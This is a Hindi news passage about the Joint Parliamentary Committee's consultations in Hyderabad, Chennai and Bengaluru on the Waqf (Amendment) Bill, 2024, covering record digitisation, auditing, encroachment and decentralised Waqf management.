सरकारी अधिकारियों के अलावा, बार काउंसिल, वकील संघों और मुतवल्ली संघों के कानूनी पेशेवर इस बारे में अपने विचार साझा करेंगे कि प्रस्तावित सुधार राज्य में वक्फ संपत्तियों के प्रबंधन को किस प्रकार प्रभावित कर सकते हैं। इसके बाद 28 सितंबर को जेपीसी हैदराबाद जाएगी, जहां भारत में कई प्रमुख वक्फ संपत्तियां स्थित हैं।

हैदराबाद में होने वाली चर्चाओं में आंध्र प्रदेश और तेलंगाना के वक्फ बोर्ड के साथ-साथ दोनों राज्यों के राज्य अल्पसंख्यक आयोगों के प्रतिनिधि भी शामिल होंगे। इसके अलावा, छत्तीसगढ़ वक्फ बोर्ड भी इन चर्चाओं में हिस्सा लेगा। जिसके बाद,जेपीसी 30 सितंबर को परामर्श के लिए चेन्नई, तमिलनाडु और फिर 1 अक्टूबर को चर्चा के लिए बेंगलुरु, कर्नाटक जाएगी।

इन बैठकों में वक्फ (संशोधन) विधेयक, 2024 के प्रमुख पहलुओं की जांच की जाएगी, जिसमें अभिलेखों का डिजिटलीकरण, अधिक कठोर ऑडिटिंग प्रक्रियाएं,अतिक्रमण से निपटने के लिए उन्नत कानूनी उपाय और वक्फ प्रबंधन का विकेंद्रीकरण शामिल हैं।

जेपीसी के राष्ट्रव्यापी परामर्श का उद्देश्य सरकारी अधिकारियों, कानूनी विशेषज्ञों, वक्फ बोर्ड के सदस्यों और पांच राज्यों तथा केंद्र शासित प्रदेशों के सामुदायिक प्रतिनिधियों से फीडबैक एकत्र करना है, ताकि वक्फ अधिनियम में सुधार के लिए एक व्यापक दृष्टिकोण सुनिश्चित किया जा सके।

 

 

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